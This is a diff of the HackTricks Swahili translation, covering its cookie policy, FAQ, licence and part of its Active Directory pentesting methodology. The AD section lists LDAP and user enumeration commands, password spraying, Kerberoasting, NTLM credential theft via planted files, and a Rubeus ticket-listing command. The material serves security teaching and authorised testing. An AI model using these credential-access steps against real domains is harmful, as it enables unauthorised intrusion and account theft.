* [www.hacktricks.xyz](http://www.hacktricks.xyz/)
|
||||
* book.hacktricks.xyz
|
||||
* cloud.hacktricks.xyz
|
||||
* hacktricks.wiki
|
||||
* [www.hacktricks.wiki](https://www.hacktricks.wiki/)
|
||||
* book.hacktricks.wiki
|
||||
* cloud.hacktricks.wiki
|
||||
|
||||
Kwa kutumia tovuti hizi, unakubali matumizi ya kuki kulingana na Sera hii ya Kukis. Ikiwa hukubali, tafadhali zima kuki katika mipangilio ya kivinjari chako au epuka kutumia tovuti zetu.
|
||||
By using any of these websites, you agree to the use of cookies in accordance with this Cookies Policy. If you do not agree, please disable cookies in your browser settings or refrain from using our websites.
|
||||
|
||||
### Kuki ni nini?
|
||||
### What are cookies?
|
||||
|
||||
Kuki ni faili ndogo za maandiko ambazo zinawekwa kwenye kompyuta yako au kifaa chako cha rununu unap visiting tovuti. Zinatumika sana kufanya tovuti zifanye kazi, kuboresha utendaji wao, na kutoa uzoefu wa mtumiaji ulio maalum zaidi.
|
||||
Cookies ni faili ndogo za maandiko ambazo zinahifadhiwa kwenye kompyuta yako au kifaa chako cha mkononi unap odwasha tovuti. Zinatumika sana kufanya tovuti zifanye kazi, kuboresha utendaji wao, na kutoa uzoefu wa mtumiaji wa kibinafsi zaidi.
|
||||
|
||||
### Jinsi tunavyotumia kuki
|
||||
### How we use cookies
|
||||
|
||||
Tunatumia kuki kwenye tovuti zetu kwa madhumuni yafuatayo:
|
||||
We use cookies on our websites for the following purposes:
|
||||
|
||||
1. Kuki muhimu: Kuki hizi ni muhimu kwa utendaji wa msingi wa tovuti zetu, kama vile kuwezesha uthibitishaji wa mtumiaji, kudumisha usalama, na kukumbuka mapendeleo yako.
|
||||
2. Kuki za utendaji: Kuki hizi zinatusaidia kuelewa jinsi wageni wanavyoshirikiana na tovuti zetu, kwa kukusanya na kuripoti taarifa kwa njia isiyo ya wazi. Hii inatuwezesha kuboresha utendaji wa tovuti zetu na uzoefu wa mtumiaji.
|
||||
3. Kuki za utendaji: Kuki hizi zinawawezesha tovuti zetu kukumbuka chaguo unazofanya, kama vile lugha yako au eneo lako, ili kutoa uzoefu wa kibinafsi zaidi.
|
||||
4. Kuki za kulenga/kuadvertise: Kuki hizi zinatumika kutoa matangazo yanayohusiana na mawasiliano ya masoko kulingana na maslahi yako, historia ya kuvinjari, na mwingiliano wako na tovuti zetu.
|
||||
1. Essential cookies: These cookies are necessary for the basic functionality of our websites, such as enabling user authentication, maintaining security, and remembering your preferences.
|
||||
2. Performance cookies: These cookies help us understand how visitors interact with our websites, by collecting and reporting information anonymously. This allows us to improve our website performance and user experience.
|
||||
3. Functionality cookies: These cookies enable our websites to remember choices you make, such as your language or region, to provide a more personalized experience.
|
||||
4. Targeting/advertising cookies: These cookies are used to deliver relevant ads and marketing communications based on your interests, browsing history, and interactions with our websites.
|
||||
|
||||
Zaidi ya hayo, kurasa book.hacktricks.xyz na cloud.hacktricks.xyz zinawekwa kwenye Gitbook. Unaweza kupata maelezo zaidi kuhusu kuki za Gitbook katika [https://gitbook-1652864889.teamtailor.com/cookie-policy](https://gitbook-1652864889.teamtailor.com/cookie-policy).
|
||||
Moreover, the pages book.hacktricks.wiki and cloud.hacktricks.wiki are hosted in Gitbook. You can find more information about Gitbooks cookies in [https://gitbook-1652864889.teamtailor.com/cookie-policy](https://gitbook-1652864889.teamtailor.com/cookie-policy).
|
||||
|
||||
### Kuki za upande wa tatu
|
||||
### Third-party cookies
|
||||
|
||||
Mbali na kuki zetu wenyewe, tunaweza pia kutumia kuki za upande wa tatu kuripoti takwimu za matumizi ya tovuti, kutoa matangazo, na kuwezesha vitufe vya kushiriki mitandao ya kijamii. Matumizi ya kuki za upande wa tatu yanategemea sera zao za faragha.
|
||||
In addition to our own cookies, we may also use third-party cookies to report website usage statistics, deliver advertisements, and enable social media sharing buttons. The use of third-party cookies is subject to their respective privacy policies.
|
||||
|
||||
Kusimamia kuki
|
||||
Managing cookies
|
||||
|
||||
Kivinjari nyingi za wavuti zinakuruhusu kusimamia kuki kupitia mipangilio yao. Unaweza kuchagua kuzuia, kufuta, au kupunguza matumizi ya kuki kwenye kifaa chako. Hata hivyo, tafadhali kumbuka kwamba kuzima kuki kunaweza kuathiri utendaji na ufanisi wa tovuti zetu.
|
||||
Most web browsers allow you to manage cookies through their settings. You can choose to block, delete, or limit the use of cookies on your device. However, please note that disabling cookies may affect the functionality and performance of our websites.
|
||||
|
||||
Mabadiliko kwenye Sera hii ya Kukis
|
||||
Changes to this Cookies Policy
|
||||
|
||||
Tunaweza kusasisha Sera hii ya Kukis mara kwa mara ili kuakisi mabadiliko katika mazoea yetu au sheria zinazohusiana. Tunakuhimiza uangalie ukurasa huu mara kwa mara kwa maelezo ya hivi karibuni kuhusu mazoea yetu ya kuki.
|
||||
We may update this Cookies Policy from time to time to reflect changes in our practices or relevant laws. We encourage you to periodically review this page for the latest information on our cookie practices.
|
||||
|
||||
### Wasiliana nasi
|
||||
### Contact us
|
||||
|
||||
Ikiwa una maswali au wasiwasi kuhusu Sera hii ya Kukis, tafadhali wasiliana nasi kwa [support@hacktricks.xyz](mailto:support@hacktricks.xyz)
|
||||
If you have any questions or concerns about this Cookies Policy, please contact us at [support@hacktricks.xyz](mailto:support@hacktricks.xyz)
|
||||
|
@ -10,11 +10,11 @@
|
||||
> - Toa **UFIKIRI** wa rasilimali za **ELIMU ya hacking** kwa **WOTE** kwenye Mtandao.
|
||||
> - Hacking ni kuhusu kujifunza, na kujifunza inapaswa kuwa bure kadri iwezekanavyo.
|
||||
> - Kusudi la kitabu hiki ni kutumikia kama **rasilimali ya elimu** ya kina.
|
||||
> - **HIFADHI** mbinu za **hacking** za kushangaza ambazo jamii inachapisha ikitoa **WANDISHI** wa **AWALI** sifa zote.
|
||||
> - **HIFADHI** mbinu za **hacking** za kushangaza ambazo jamii inachapisha ikitoa **WANDIKAJI** wa **AWALI** sifa zote.
|
||||
> - **Hatupendi sifa kutoka kwa watu wengine**, tunataka tu kuhifadhi mbinu nzuri kwa kila mtu.
|
||||
> - Pia tunaandika **utafiti wetu wenyewe** katika HackTricks.
|
||||
> - Katika hali kadhaa tutandika tu **katika HackTricks muhtasari wa sehemu muhimu** za mbinu na tutawatia **hamasa wasomaji kutembelea chapisho la asili** kwa maelezo zaidi.
|
||||
> - **ANDAA** mbinu zote za hacking katika kitabu ili iwe **RAHISI KUPATIKANA**
|
||||
> - Katika hali kadhaa tutandika tu **katika HackTricks muhtasari wa sehemu muhimu** za mbinu na tutawatia moyo **wasomaji kutembelea chapisho la awali** kwa maelezo zaidi.
|
||||
> - **ANDAA** mbinu zote za hacking katika kitabu ili iwe **RAHISI KUFIKIA**
|
||||
> - Timu ya HackTricks imejitolea maelfu ya masaa bure **kuandaa maudhui** ili watu waweze **kujifunza haraka**
|
||||
|
||||
<figure><img src="../images/hack tricks gif.gif" alt="" width="375"><figcaption></figcaption></figure>
|
||||
@ -33,7 +33,7 @@ Na usisahau **kutoa nyota katika miradi ya Github!** (Pata viungo hapa chini).
|
||||
>
|
||||
> - **Ninaweza vipi kuchangia katika mradi?**
|
||||
|
||||
Unaweza **kushiriki vidokezo na mbinu mpya na jamii au kurekebisha makosa** unayoyapata katika vitabu kwa kutuma **Pull Request** kwenye kurasa husika za Github:
|
||||
Unaweza **kushiriki vidokezo na mbinu mpya na jamii au kurekebisha makosa** unayoyakuta katika vitabu kwa kutuma **Pull Request** kwenye kurasa husika za Github:
|
||||
|
||||
- [https://github.com/carlospolop/hacktricks](https://github.com/carlospolop/hacktricks)
|
||||
- [https://github.com/carlospolop/hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)
|
||||
@ -50,14 +50,14 @@ Ndio, unaweza, lakini **usisahau kutaja kiungo maalum** ambacho maudhui yalitole
|
||||
>
|
||||
> - **Ninaweza vipi kunukuu ukurasa wa HackTricks?**
|
||||
|
||||
Mradi tu kiungo **cha** ukurasa(za) ulizochukua taarifa kutoka kitatokea ni vya kutosha.\
|
||||
Mradi tu kiungo **cha** ukurasa(za) ulizochukua taarifa kutoka kitatosha.\
|
||||
Ikiwa unahitaji bibtex unaweza kutumia kitu kama:
|
||||
```latex
|
||||
@misc{hacktricks-bibtexing,
|
||||
author = {"HackTricks Team" or the Authors name of the specific page/trick},
|
||||
title = {Title of the Specific Page},
|
||||
year = {Year of Last Update (check it at the end of the page)},
|
||||
url = {\url{https://book.hacktricks.xyz/specific-page}},
|
||||
url = {\url{https://book.hacktricks.wiki/specific-page}},
|
||||
}
|
||||
```
|
||||
> [!WARNING]
|
||||
@ -70,15 +70,15 @@ Ikiwa unahofia kwamba itatoweka, tu fork kwenye Github au uipakue, kama nilivyos
|
||||
|
||||
> [!WARNING]
|
||||
>
|
||||
> - **Kwa nini una wadhamini? Je, vitabu vya HackTricks ni kwa madhumuni ya kibiashara?**
|
||||
> - **Kwa nini una wadhamini? Je, vitabu vya HackTricks vina madhumuni ya kibiashara?**
|
||||
|
||||
Thamani ya kwanza ya **HackTricks** ni kutoa rasilimali za elimu za **BURE** za hacking kwa **DUNIA YOTE**. Timu ya HackTricks imejitolea **masaa maelfu** kutoa maudhui haya, tena, kwa **BURE**.
|
||||
Thamani ya kwanza ya **HackTricks** ni kutoa rasilimali za elimu ya hacking **BURE** kwa **DUNIA YOTE**. Timu ya HackTricks imejitolea **masaa maelfu** kutoa maudhui haya, tena, **BURE**.
|
||||
|
||||
Ikiwa unafikiri vitabu vya HackTricks vimeandikwa kwa **madhumuni ya kibiashara** uko **KABISA KOSA**.
|
||||
|
||||
Tuna wadhamini kwa sababu, hata kama maudhui yote ni BURE, tunataka **kutoa jamii fursa ya kuthamini kazi yetu** ikiwa wanataka. Hivyo, tunawapa watu chaguo la kuchangia HackTricks kupitia [**wadhamini wa Github**](https://github.com/sponsors/carlospolop), na **makampuni muhimu ya usalama wa mtandao** kudhamini HackTricks na **kuwa na matangazo** katika kitabu, ambapo **matangazo** yanapangwa kila wakati katika maeneo yanayofanya kuwa **naonekana** lakini **hayakoseshi mchakato wa kujifunza** ikiwa mtu anazingatia maudhui.
|
||||
Tuna wadhamini kwa sababu, hata kama maudhui yote ni BURE, tunataka **kutoa jamii fursa ya kuthamini kazi yetu** wanapojisikia. Hivyo, tunawapa watu chaguo la kuchangia HackTricks kupitia [**wadhamini wa Github**](https://github.com/sponsors/carlospolop), na **makampuni muhimu ya usalama wa mtandao** kudhamini HackTricks na **kuwa na matangazo** katika kitabu, ambapo **matangazo** yanapangwa kila wakati katika maeneo yanayofanya kuwa **naonekana** lakini **hayakoseshi mchakato wa kujifunza** ikiwa mtu anazingatia maudhui.
|
||||
|
||||
Hautapata HackTricks imejaa matangazo ya annoying kama blogu nyingine zenye maudhui kidogo kuliko HackTricks, kwa sababu HackTricks haijandikwa kwa madhumuni ya kibiashara.
|
||||
Hautapata HackTricks imejaa matangazo ya annoying kama blogu nyingine zenye maudhui kidogo kuliko HackTricks, kwa sababu HackTricks haijaundwa kwa madhumuni ya kibiashara.
|
||||
|
||||
> [!CAUTION]
|
||||
>
|
||||
@ -93,20 +93,20 @@ Hautapata HackTricks imejaa matangazo ya annoying kama blogu nyingine zenye maud
|
||||
Kumbuka kuwa kuwa na viungo kwenye ukurasa wako katika HackTricks:
|
||||
|
||||
- Inaboresha **SEO** yako
|
||||
- Maudhui yanapata **kutafsiriwa kwa zaidi ya lugha 15** ikifanya iwezekane kwa watu wengi kufikia maudhui haya
|
||||
- **HackTricks inahamasisha** watu **kuangalia ukurasa wako** (watu kadhaa wametujulisha kwamba tangu ukurasa wao mmoja uko katika HackTricks wanapata ziara zaidi)
|
||||
- Maudhui yanapata **kutafsiriwa kwa zaidi ya lugha 15** ikifanya iwezekane kwa watu zaidi kufikia maudhui haya
|
||||
- **HackTricks inahimiza** watu **kuangalia ukurasa wako** (watu kadhaa wametujulisha kwamba tangu ukurasa wao uwe katika HackTricks wanapata ziara zaidi)
|
||||
|
||||
Hata hivyo, ikiwa bado unataka maudhui ya blogu yako yondolewe kutoka HackTricks tu tujulishe na bila shaka tutakubali **kuondoa kila kiungo kwa blogu yako**, na maudhui yoyote yanayotegemea hiyo.
|
||||
Hata hivyo, ikiwa bado unataka maudhui ya blogu yako yaondolewe kutoka HackTricks tafadhali tujulishe na hakika tutafanya **kuondoa kila kiungo kwenye blogu yako**, na maudhui yoyote yanayotegemea hiyo.
|
||||
|
||||
> [!CAUTION]
|
||||
>
|
||||
> - **Nifanye nini ikiwa napata maudhui yaliyokopwa katika HackTricks?**
|
||||
|
||||
Sisi kila wakati **tunawapa waandishi wa asili sifa zote**. Ikiwa unapata ukurasa wenye maudhui yaliyokopwa bila chanzo cha asili kilichorejelewa, tujulishe na tutauondoa, **ongeza kiungo kabla ya maandiko**, au **kuandika upya kwa kuongeza kiungo**.
|
||||
Sisi daima **tunawapa waandishi wa asili sifa zote**. Ikiwa unapata ukurasa wenye maudhui yaliyokopwa bila chanzo cha asili kilichorejelewa, tujulishe na tutafanya **kuondoa**, **kuongeza kiungo kabla ya maandiko**, au **kuandika upya kwa kuongeza kiungo**.
|
||||
|
||||
## LICENSE
|
||||
|
||||
Copyright © Haki zote zimehifadhiwa isipokuwa kama vinginevyo imeelezwa.
|
||||
Copyright © Haki zote zimehifadhiwa isipokuwa kama imeelezwa vinginevyo.
|
||||
|
||||
#### Muhtasari wa Leseni:
|
||||
|
||||
@ -116,7 +116,7 @@ Copyright © Haki zote zimehifadhiwa isipokuwa kama vinginevyo imeelezwa.
|
||||
|
||||
#### Masharti ya Ziada:
|
||||
|
||||
- Maudhui ya Watu wa Tatu: Sehemu zingine za blogu hii/kitabu zinaweza kujumuisha maudhui kutoka vyanzo vingine, kama vile nukuu kutoka blogu nyingine au machapisho. Matumizi ya maudhui kama hayo yanafanywa chini ya kanuni za matumizi ya haki au kwa ruhusa wazi kutoka kwa wamiliki wa hakimiliki husika. Tafadhali rejelea vyanzo vya asili kwa habari maalum za leseni kuhusu maudhui ya watu wa tatu.
|
||||
- Maudhui ya Watu wa Tatu: Sehemu zingine za blogu hii/kitabu zinaweza kujumuisha maudhui kutoka vyanzo vingine, kama vile nukuu kutoka blogu nyingine au machapisho. Matumizi ya maudhui kama haya yanafanywa chini ya kanuni za matumizi ya haki au kwa ruhusa wazi kutoka kwa wamiliki wa hakimiliki husika. Tafadhali rejelea vyanzo vya asili kwa habari maalum za leseni kuhusu maudhui ya watu wa tatu.
|
||||
- Uandishi: Maudhui ya asili yaliyoandikwa na HackTricks yanategemea masharti ya leseni hii. Unahimizwa kutambua kazi hii kwa mwandishi unaposhiriki au kubadilisha.
|
||||
|
||||
#### Mipango ya Kutengwa:
|
||||
@ -130,11 +130,11 @@ Leseni hii haitoi haki yoyote ya alama ya biashara au haki za chapa kuhusiana na
|
||||
## **Kanusho**
|
||||
|
||||
> [!CAUTION]
|
||||
> Kitabu hiki, 'HackTricks,' kinakusudiwa kwa madhumuni ya elimu na taarifa pekee. Maudhui ndani ya kitabu hiki yanatolewa kwa msingi wa 'kama ilivyo', na waandishi na wachapishaji hawatoi uwakilishi au dhamana yoyote ya aina yoyote, wazi au fiche, kuhusu ukamilifu, usahihi, uaminifu, kufaa, au upatikanaji wa habari, bidhaa, huduma, au picha zinazohusiana zilizomo ndani ya kitabu hiki. Kila unavyotegemea habari kama hiyo ni kwa hatari yako mwenyewe.
|
||||
> Kitabu hiki, 'HackTricks,' kinakusudiwa kwa madhumuni ya elimu na taarifa pekee. Maudhui ndani ya kitabu hiki yanatolewa kwa msingi wa 'kama ilivyo', na waandishi na wachapishaji hawatoi uwakilishi au dhamana yoyote, wazi au fiche, kuhusu ukamilifu, usahihi, uaminifu, kufaa, au upatikanaji wa habari, bidhaa, huduma, au picha zinazohusiana zilizomo ndani ya kitabu hiki. Kila unavyotegemea habari kama hiyo ni kwa hatari yako mwenyewe.
|
||||
>
|
||||
> Waandishi na wachapishaji hawatakuwa na jukumu lolote kwa hasara au uharibifu wowote, ikiwa ni pamoja na bila kikomo, hasara au uharibifu wa moja kwa moja au wa matokeo, au hasara au uharibifu wowote unaotokana na kupoteza data au faida zinazotokana na, au kuhusiana na, matumizi ya kitabu hiki.
|
||||
>
|
||||
> Zaidi ya hayo, mbinu na vidokezo vilivyoelezewa katika kitabu hiki vinatolewa kwa madhumuni ya elimu na taarifa pekee, na havipaswi kutumika kwa shughuli zozote zisizo za kisheria au zenye uharibifu. Waandishi na wachapishaji hawakubali wala kuunga mkono shughuli zozote zisizo za kisheria au zisizo za maadili, na matumizi yoyote ya habari iliyomo ndani ya kitabu hiki ni kwa hatari na uamuzi wa mtumiaji.
|
||||
> Zaidi ya hayo, mbinu na vidokezo vilivyoelezewa katika kitabu hiki vinatolewa kwa madhumuni ya elimu na taarifa pekee, na havipaswi kutumika kwa shughuli zozote zisizo za kisheria au za uhalifu. Waandishi na wachapishaji hawakubali wala kuunga mkono shughuli zozote zisizo za kisheria au zisizo za maadili, na matumizi yoyote ya habari iliyomo ndani ya kitabu hiki ni kwa hatari na uamuzi wa mtumiaji.
|
||||
>
|
||||
> Mtumiaji ndiye mwenye jukumu pekee kwa hatua zozote zinazochukuliwa kulingana na habari iliyomo ndani ya kitabu hiki, na inapaswa kila wakati kutafuta ushauri wa kitaalamu na msaada wanapojaribu kutekeleza mbinu au vidokezo vyovyote vilivyoelezewa hapa.
|
||||
>
|
||||
|
@ -12,7 +12,7 @@ Mifano muhimu ndani ya **Active Directory** ni pamoja na:
|
||||
|
||||
1. **Directory** – Inahifadhi taarifa zote zinazohusiana na vitu vya Active Directory.
|
||||
2. **Object** – Inamaanisha viumbe ndani ya directory, ikiwa ni pamoja na **watumiaji**, **makundi**, au **folda zilizoshirikiwa**.
|
||||
3. **Domain** – Inatumika kama chombo cha vitu vya directory, ikiwa na uwezo wa doma nyingi kuwepo ndani ya **msitu**, kila moja ikihifadhi mkusanyiko wake wa vitu.
|
||||
3. **Domain** – Inatumika kama chombo cha vitu vya directory, ikiwa na uwezo wa doma nyingi kuishi pamoja ndani ya **msitu**, kila moja ikihifadhi mkusanyiko wake wa vitu.
|
||||
4. **Tree** – Kundi la doma zinazoshiriki domain ya mzizi wa kawaida.
|
||||
5. **Forest** – Kilele cha muundo wa shirika katika Active Directory, kinachojumuisha miti kadhaa zikiwa na **uaminifu** kati yao.
|
||||
|
||||
@ -55,7 +55,7 @@ Ikiwa una ufikiaji tu wa mazingira ya AD lakini huna akidi/nikundi zozote unawez
|
||||
../../network-services-pentesting/pentesting-smb/
|
||||
{{#endref}}
|
||||
|
||||
- **Orodhesha Ldap**
|
||||
- **Kuorodhesha Ldap**
|
||||
- `nmap -n -sV --script "ldap* and not brute" -p 389 <DC IP>`
|
||||
- Mwongozo wa kina juu ya jinsi ya kuorodhesha LDAP unaweza kupatikana hapa (lipa **kipaumbele maalum kwa ufikiaji wa siri**):
|
||||
|
||||
@ -67,8 +67,8 @@ Ikiwa una ufikiaji tu wa mazingira ya AD lakini huna akidi/nikundi zozote unawez
|
||||
- Kusanya akidi [**ukijifanya huduma kwa Responder**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||||
- Fikia mwenyeji kwa [**kudhulumu shambulio la relay**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)
|
||||
- Kusanya akidi **ukifichua** [**huduma za UPnP za uongo na evil-S**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856)
|
||||
- [**OSINT**](https://book.hacktricks.xyz/external-recon-methodology):
|
||||
- Toa majina ya watumiaji/majina kutoka kwa nyaraka za ndani, mitandao ya kijamii, huduma (hasa wavuti) ndani ya mazingira ya domain na pia kutoka kwa yaliyopo hadharani.
|
||||
- [**OSINT**](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/index.html):
|
||||
- Toa majina ya watumiaji kutoka kwa nyaraka za ndani, mitandao ya kijamii, huduma (hasa wavuti) ndani ya mazingira ya domain na pia kutoka kwa yaliyopo hadharani.
|
||||
- Ikiwa unapata majina kamili ya wafanyakazi wa kampuni, unaweza kujaribu mifumo tofauti ya **majina ya watumiaji AD** (**[soma hii](https://activedirectorypro.com/active-directory-user-naming-convention/)**). Mifumo ya kawaida ni: _NameSurname_, _Name.Surname_, _NamSur_ (herufi 3 za kila moja), _Nam.Sur_, _NSurname_, _N.Surname_, _SurnameName_, _Surname.Name_, _SurnameN_, _Surname.N_, herufi 3 _za nasibu na nambari 3 za nasibu_ (abc123).
|
||||
- Zana:
|
||||
- [w0Tx/generate-ad-username](https://github.com/w0Tx/generate-ad-username)
|
||||
@ -111,8 +111,8 @@ Get-GlobalAddressList -ExchHostname [ip] -UserName [domain]\[username] -Password
|
||||
|
||||
Sawa, kwa hivyo unajua tayari una jina halali la mtumiaji lakini hakuna nywila... Kisha jaribu:
|
||||
|
||||
- [**ASREPRoast**](asreproast.md): Ikiwa mtumiaji **hana** sifa _DONT_REQ_PREAUTH_ unaweza **kuomba ujumbe wa AS_REP** kwa mtumiaji huyo ambao utakuwa na data fulani iliyosimbwa kwa mchakato wa nywila ya mtumiaji.
|
||||
- [**Password Spraying**](password-spraying.md): Jaribu nywila **za kawaida zaidi** na kila mmoja wa watumiaji waliogunduliwa, labda mtumiaji fulani anatumia nywila mbaya (kumbuka sera ya nywila!).
|
||||
- [**ASREPRoast**](asreproast.md): Ikiwa mtumiaji **hana** sifa _DONT_REQ_PREAUTH_ unaweza **kuomba ujumbe wa AS_REP** kwa mtumiaji huyo ambao utakuwa na data fulani iliyosimbwa kwa kutumia mchanganyiko wa nywila ya mtumiaji.
|
||||
- [**Password Spraying**](password-spraying.md): Jaribu nywila za **kawaida zaidi** na kila mmoja wa watumiaji waliogunduliwa, labda mtumiaji fulani anatumia nywila mbaya (kumbuka sera ya nywila!).
|
||||
- Kumbuka kwamba unaweza pia **spray OWA servers** kujaribu kupata ufikiaji wa seva za barua za watumiaji.
|
||||
|
||||
{{#ref}}
|
||||
@ -121,7 +121,7 @@ password-spraying.md
|
||||
|
||||
### LLMNR/NBT-NS Poisoning
|
||||
|
||||
Unaweza kuwa na uwezo wa **kupata** baadhi ya changamoto **hashes** ili kuvunja **kuchafua** baadhi ya protokali za **mtandao**:
|
||||
Unaweza kuwa na uwezo wa **kupata** baadhi ya changamoto **hashes** ili kufungua **kuharibu** baadhi ya protokali za **mtandao**:
|
||||
|
||||
{{#ref}}
|
||||
../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
|
||||
@ -133,15 +133,15 @@ Ikiwa umeweza kuorodhesha active directory utakuwa na **barua pepe zaidi na ufah
|
||||
|
||||
### Kuiba NTLM Creds
|
||||
|
||||
Ikiwa unaweza **kufikia kompyuta nyingine au sehemu** na **mtumiaji wa null au mgeni** unaweza **kweka faili** (kama faili ya SCF) ambayo ikiwa kwa namna fulani itafikiwa itasababisha **uthibitishaji wa NTML dhidi yako** ili uweze **kuiba** **NTLM challenge** ili kuibua:
|
||||
Ikiwa unaweza **kufikia kompyuta nyingine au sehemu** na **mtumiaji wa null au mgeni** unaweza **kweka faili** (kama faili ya SCF) ambayo ikiwa kwa namna fulani itafikiwa itasababisha **uthibitishaji wa NTML dhidi yako** ili uweze **kuiba** **NTLM challenge** ili kuifungua:
|
||||
|
||||
{{#ref}}
|
||||
../ntlm/places-to-steal-ntlm-creds.md
|
||||
{{#endref}}
|
||||
|
||||
## Kuorodhesha Active Directory KWA nywila/sessio
|
||||
## Kuorodhesha Active Directory KWA nywila/sessheni
|
||||
|
||||
Kwa hatua hii unahitaji kuwa **umevunjika nywila au sessio ya akaunti halali ya kikoa.** Ikiwa una nywila halali au shell kama mtumiaji wa kikoa, **unapaswa kukumbuka kwamba chaguzi zilizotolewa hapo awali bado ni chaguzi za kuvunja watumiaji wengine**.
|
||||
Kwa hatua hii unahitaji kuwa **umevunjika kwa nywila au sessheni ya akaunti halali ya kikoa.** Ikiwa una nywila halali au shell kama mtumiaji wa kikoa, **unapaswa kukumbuka kwamba chaguzi zilizotolewa hapo awali bado ni chaguzi za kuvunja watumiaji wengine**.
|
||||
|
||||
Kabla ya kuanza kuorodhesha kwa uthibitisho unapaswa kujua ni nini **shida ya Kerberos double hop.**
|
||||
|
||||
@ -171,11 +171,11 @@ Kuhusu [**ASREPRoast**](asreproast.md) sasa unaweza kupata kila mtumiaji anayewe
|
||||
|
||||
Ni rahisi sana kupata majina yote ya watumiaji wa kikoa kutoka Windows (`net user /domain` ,`Get-DomainUser` au `wmic useraccount get name,sid`). Katika Linux, unaweza kutumia: `GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username` au `enum4linux -a -u "user" -p "password" <DC IP>`
|
||||
|
||||
> Hata kama sehemu hii ya Kuorodhesha inaonekana ndogo hii ndiyo sehemu muhimu zaidi ya yote. Fikia viungo (hasa ile ya cmd, powershell, powerview na BloodHound), jifunze jinsi ya kuorodhesha kikoa na fanya mazoezi hadi ujisikie vizuri. Wakati wa tathmini, hii itakuwa wakati muhimu wa kupata njia yako hadi DA au kuamua kwamba hakuna kinachoweza kufanywa.
|
||||
> Hata kama sehemu hii ya Kuorodhesha inaonekana ndogo hii ndiyo sehemu muhimu zaidi ya yote. Fikia viungo (hasa ile ya cmd, powershell, powerview na BloodHound), jifunze jinsi ya kuorodhesha kikoa na fanya mazoezi hadi ujisikie vizuri. Wakati wa tathmini, hii itakuwa wakati muhimu wa kupata njia yako kwenda DA au kuamua kwamba hakuna kinachoweza kufanywa.
|
||||
|
||||
### Kerberoast
|
||||
|
||||
Kerberoasting inahusisha kupata **TGS tickets** zinazotumiwa na huduma zinazohusiana na akaunti za watumiaji na kuvunja usimbaji wao—ambao unategemea nywila za watumiaji—**nje ya mtandao**.
|
||||
Kerberoasting inahusisha kupata **TGS tickets** zinazotumiwa na huduma zinazohusiana na akaunti za watumiaji na kufungua usimbaji wao—ambao unategemea nywila za watumiaji—**nje ya mtandao**.
|
||||
|
||||
Zaidi kuhusu hii katika:
|
||||
|
||||
@ -185,17 +185,17 @@ kerberoast.md
|
||||
|
||||
### Muunganisho wa mbali (RDP, SSH, FTP, Win-RM, nk)
|
||||
|
||||
Mara tu unapokuwa umepata baadhi ya nywila unaweza kuangalia ikiwa una ufikiaji wa **mashine** yoyote. Kwa jambo hilo, unaweza kutumia **CrackMapExec** kujaribu kuungana kwenye seva kadhaa kwa protokali tofauti, kulingana na skana zako za port.
|
||||
Mara tu unapokuwa umepata baadhi ya nywila unaweza kuangalia ikiwa una ufikiaji wa **mashine** yoyote. Kwa jambo hilo, unaweza kutumia **CrackMapExec** kujaribu kuungana kwenye seva kadhaa kwa kutumia protokali tofauti, kulingana na skana zako za port.
|
||||
|
||||
### Kuinua Privilege za Mitaa
|
||||
|
||||
Ikiwa umevunjika nywila au sessio kama mtumiaji wa kawaida wa kikoa na una **ufikiaji** na mtumiaji huyu kwa **mashine yoyote katika kikoa** unapaswa kujaribu kupata njia yako ya **kuinua mamlaka kwa ndani na kutafuta nywila**. Hii ni kwa sababu ni tu kwa mamlaka ya msimamizi wa ndani utaweza **dump hashes za watumiaji wengine** katika kumbukumbu (LSASS) na kwa ndani (SAM).
|
||||
Ikiwa umevunjika kwa nywila au sessheni kama mtumiaji wa kawaida wa kikoa na una **ufikiaji** na mtumiaji huyu kwa **mashine yoyote katika kikoa** unapaswa kujaribu kupata njia yako ya **kuinua mamlaka kwa ndani na kutafuta nywila**. Hii ni kwa sababu ni tu kwa mamlaka ya msimamizi wa ndani utaweza **dump hashes za watumiaji wengine** katika kumbukumbu (LSASS) na kwa ndani (SAM).
|
||||
|
||||
Kuna ukurasa kamili katika kitabu hiki kuhusu [**kuinua mamlaka ya ndani katika Windows**](../windows-local-privilege-escalation/index.html) na [**orodha ya ukaguzi**](../checklist-windows-privilege-escalation.md). Pia, usisahau kutumia [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite).
|
||||
|
||||
### Tiketi za Sessio za Sasa
|
||||
### Tiketi za Sessheni za Sasa
|
||||
|
||||
Ni **ngumu sana** kwamba utapata **tiketi** katika mtumiaji wa sasa **zinazokupa ruhusa ya kufikia** rasilimali zisizotarajiwa, lakini unaweza kuangalia:
|
||||
Ni **ngumu sana** kwamba utapata **tiketi** katika mtumiaji wa sasa **ukikupa ruhusa ya kufikia** rasilimali zisizotarajiwa, lakini unaweza kuangalia:
|
||||
```bash
|
||||
## List all tickets (if not admin, only current user tickets)
|
||||
.\Rubeus.exe triage
|
||||
@ -235,7 +235,7 @@ printnightmare.md
|
||||
|
||||
### Hash extraction
|
||||
|
||||
Tuna matumaini umeweza **kudhoofisha akaunti ya msimamizi wa ndani** kwa kutumia [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) ikiwa ni pamoja na relaying, [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [kuinua haki za ndani](../windows-local-privilege-escalation/index.html).\
|
||||
